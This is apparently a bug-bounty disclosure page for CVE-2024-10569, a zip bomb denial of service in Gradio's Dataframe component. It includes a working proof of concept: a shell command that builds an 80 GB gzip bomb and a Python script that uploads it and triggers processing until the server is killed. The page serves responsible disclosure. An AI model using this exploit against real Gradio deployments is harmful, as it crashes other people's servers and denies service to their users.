

zip bomb on dataframe component, lead to server crash in gradio-app/gradio

✓ Valid

Reported on Sep 29th 2024

Description

Dataframe component use `pd.read_csv` to process the value. `pd.read_csv` allows compression file as input, which may be prone to zip bomb attack. If `pd.read_csv` are used to read from maybe malicious input, the input should be checked first.

Proof of Concept

considering this code:

```
import gradio as gr

def handler(file):
    return file

app = gr.Interface(
    fn=handler,
    inputs=gr.File(label="Upload CSV as dataframe here"),
    outputs=gr.Dataframe(),
    title="CSV Viewer",
    description="Upload a CSV file to view its contents."
)

if __name__ == "__main__":
    app.launch()
```

This is let user to upload a csv and use `gr.Dataframe` to show that.

- create a malicious zip bomb. Such as

```
(echo '1' && dd if=/dev/zero bs=1M count=80000) | gzip -5 -c -- > 1.gz
```

This bomb is of size 78M

- upload the bomb.

```
import requests
import json
url = "http://127.0.0.1:7860/"
file_path = "/tmp/1.gz"

with open(file_path, 'rb') as f:
    files = {'files': (file_path, f)}
    response = requests.post(url+'upload?upload_id=j09xz0yd9x', files=files)
    upload_path = json.loads(response.text)[0]

    data = json.dumps({
        "data": [
            {
                "path": upload_path,
                "meta": {
                    "_type": "gradio.FileData"
                }
            }
        ],
        "event_data": None,
        "fn_index": 0,
        "trigger_id": 10,
        "session_hash": "wucg07y29u"
    })
    response = requests.post(url+'run/predict', data=data)
```

On my 64G memory test laptop, gradio server will crash with sigkill.

Impact

crash the gradio server and cause denial of service.

Occurrences

 dataframe.py L263

Dataframe component call pd.read_csv with its value

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. a year ago



 **huntr-helper** modified the Severity from High (7.5) to Medium (6.5) a year ago



 **Ethan Silvas** modified the Severity from Medium (6.5) to High (7.5) a year ago

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ Ethan Silvas validated this vulnerability a year ago

Able to reproduce this even with the `max_file_size` option set in the launch call.

\$ oicu0619 has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔒 CVE-2024-10569 assigned to this report. a year ago

✉️ We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago

⚠️ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours a year ago

📡 This vulnerability has now been published a year ago

🔒 CVE-2024-10569 has now been published 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-10569

Published

Vulnerability Type

CWE-475: Undefined Behavior for Input to API

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

git 98cbcae

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



oicu0619

@oicu0619

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)